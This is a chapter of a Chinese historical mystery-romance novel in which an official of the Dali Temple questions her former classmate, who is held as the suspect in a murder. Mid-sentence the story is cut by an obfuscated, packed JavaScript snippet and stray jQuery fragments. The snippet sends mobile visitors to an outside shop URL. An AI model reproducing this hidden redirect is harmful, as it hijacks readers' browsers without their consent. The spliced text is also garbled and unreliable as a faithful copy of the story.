夜雪渐浓,风声呜咽,屋内烛火明灭。宋昭微攥紧手中字迹工整的公文,眉头锁起。
又是一阵急促风声,她抬眸望向窗外,不知何时,夜幕已笼罩整个京都府,唯余风雪交杂。
她将信封折好,提步向外走去。
京都府的雪一向绵延盛大,打在脸上仿若冰渣子一样寒冷,她接过婢女递来的宫灯,撑伞踏入雪夜。
这条路她走过许多次,然而最近,很多时候,她去那里,不为公务,只因……
私心。
房中的灯还亮着,想来尚未休息,无视门外一众捕快,她抬手敲门。
“进来吧。”
听到那道清冽熟悉的声音,她方推门,走了进去。
谢珩依然安静地坐着,为她倒了一杯茶。
“也只有你进来会敲门了。”他笑了一声,平静如水,仿佛此时被软禁的人不是他一般。
“羡之,对不起……”她没有接过那杯茶,在他身旁落座后便低垂着头。
冰凉的手掌落在她的头上,她听见他叹了口气:“若非昭歌,我此时怕已下了狱。”
事情发生在两日前。
天子脚下,京都府向来少有命案,即使出事,也该先上报府衙,再由府衙向大理寺说明,是以宋昭微初闻郊外无人峰上发生凶杀案时颇为诧异。
至她赶到时,县衙捕头已经取证完毕,一番询问后,宋昭微总算理清了前因后果:因为死的是刚致仕不久的朝廷命官,所以县官才通知了大理寺。
死者奉景迟,一月前致仕还乡,昨日被发现死在无人峰,现场除死者外,还有一人。
——谢珩,字羡之。
这个名字,宋昭微十分熟悉。“谢”姓并不多,况且,怎会有两人同名同姓同字?
几乎一瞬间,她便想起了——
她那不告而别整整三年的同窗好友,兼……
她的……恩人。
谢珩喜爱白袍,三年过去,仍未更改,白衫沾了雪水与血迹,脸上虽有脏污仍难掩清俊容貌,他身姿挺拔,即使镣铐在身也不见萎靡。
三年未见,他似乎瘦了许多。
寒风凛冽,即使裹着斗篷也驱散不开满身冰冷,何况他衣衫单薄。况且……她记得,同窗那年,他时常称病告假。
虽未知真假,但她总会担忧。
宋昭微脚步匆匆,解开斗篷披在他的身上,细心系好长带,抬头,正对上他惊讶的目光。
看清她的样貌,他呆滞片刻,方漾开温柔的笑。
一时间,恍如隔世。
“昭歌。”
直至听见他轻唤她的名字,她才如梦初醒。
压下鼻头酸涩,她柔声问询:“怎么回事?”
——你说,我就信。
她这样想。
谢珩神色复杂,想如之前一般抚摸她的头顶予以安慰,一抬手,却听见镣铐碰撞的声音,无奈只能作罢。
“我不能说。”他如此说道。
旁边的捕头闻言,横拦在两人中间,声音清朗洪亮,朝气蓬勃:“此人涉案,还请宋少卿秉公处理。”
宋昭微自然听得出对方最后刻意咬重的四个字,一时不知该恼该笑,只能问:“你是何人?”
捕头抱拳行礼,坦坦荡荡:“在下李陵,字临章,现为府衙捕头。”
“死者乃前朝廷命官,按理应当移交大理寺处理,此案的……嫌疑人,”宋昭微垂下眼帘,勾出一个浅淡的笑,“也理应交给大理寺看守。”
依照律法之规,李陵没有拒绝的余地。
闻言,李陵神色未改,甚至有些咄咄逼人的意思,提出请求:“自无不可。只是宋少卿与嫌疑人有旧,不知在下可否同行?”
这话摆明了质疑她徇私枉法,必须允许他插一脚。
宋昭微已经很久没有遇到过这种“不畏强权”的人了,若换成平时,或许她会高看一眼,可是如今……
嫌疑人,是谢珩。
她正打算拒绝,一直保持安静的谢珩开口:“清者自清,李捕头请求合理。对不对?昭歌。”
话音落下,两道目光落在他的身上。
谢珩回以友善微笑。
宋昭微欲言又止,接收到他“安心”的信号后,方点头应允。
李陵略一挑眉,惊讶于对方帮自己圆场开脱的举动。
于是,便有了现在这一幕。
“那日究竟发生了什么?”宋昭微问,“你为何会在案发现场?”
谢珩又叹了一口气:“我不能说。”
他倒是想说,可是……他知道的不能说,他不知道的,也说不了。
事情的来龙去脉,说起来也很简单,他与奉景迟一直有来往,那日便是得了对方书信相邀,前去赴约。虽然邀约的地点很怪,邀约的理由很怪,邀约的内容也很怪,但他还是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17938984|213823||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
去了。
倒不是全无怀疑,只是奉景迟每次约他都是一样的怪,偏偏事情又很重要。
没想到……
来到信中所说的位置,结果发现空无一人,而后,他被人迷晕,送到了奉景迟的尸体旁边。
他醒来时,除去躺在雪地不知多久导致的僵硬与寒冷,便只有身旁那具血肉模糊的尸体。他不知道是谁报的案,在捕头到达案发现场时,他甚至尚未完全恢复行动力,自然也逃不了。
他与奉景迟见面的原因不能说,以至于后面的所有事情——
都不能说。
“你不说,我该怎么替你脱罪?难道你想背着谋害朝廷命官的罪名去死吗?”宋昭微步步紧逼,“我认识的谢珩,不该是这样!”
他丝毫未受影响,心平气和地抿了一口茶:“你是在以‘好友’的身份劝我么?”
她一怔,转瞬明了,定定看着他的眼睛:“我不是以大理寺少卿的身份质问你,而仅仅是作为‘同窗好友’,对你表达关心。”
“好。”他低笑,终于舍得坦白,“当时,我收到奉景迟的来信,约我在无人峰一叙。”
“信在哪里?”她紧张追问,比起他这个当事人还要在意能否为他洗清嫌疑。
“他与我来往的所有信件,都被藏在同一个地方,只有我和他知道。”
“还有呢?”
“我去到约定的地方,却没有见到他,而后,我陷入昏迷,再醒来后便在尸体旁边。”他依然挂着温柔无害的笑,眸光深处溢满的并非担忧,而是戏谑。
对于事情发展,实际上连他自己都十分好奇。
显然,她也想到了这一步。
“他为什么不干脆杀了你?又为什么知道你们今天约在那里见面?让你活着,对他来说有什么更重要的意义吗?”
两人对视一眼,许多言语,不用明说已然知晓。
嫌疑人招供,案件有了新的进展,宋昭微急着为他洗刷冤屈,正准备告辞,才刚站起身,又被他强拉坐下。
“昭歌,你是以‘同窗好友’的身份,来关心我的,仅此而已,好么?”谢珩问。
无论是大理寺还是府衙,都隶属于朝廷,恰巧,他们来往信件上的内容,不能让朝廷知晓。
宋昭微了然,握住他捧着热茶仍有些冰凉的手,郑重点头。
她相信谢珩。
曾经如此,现在亦如是。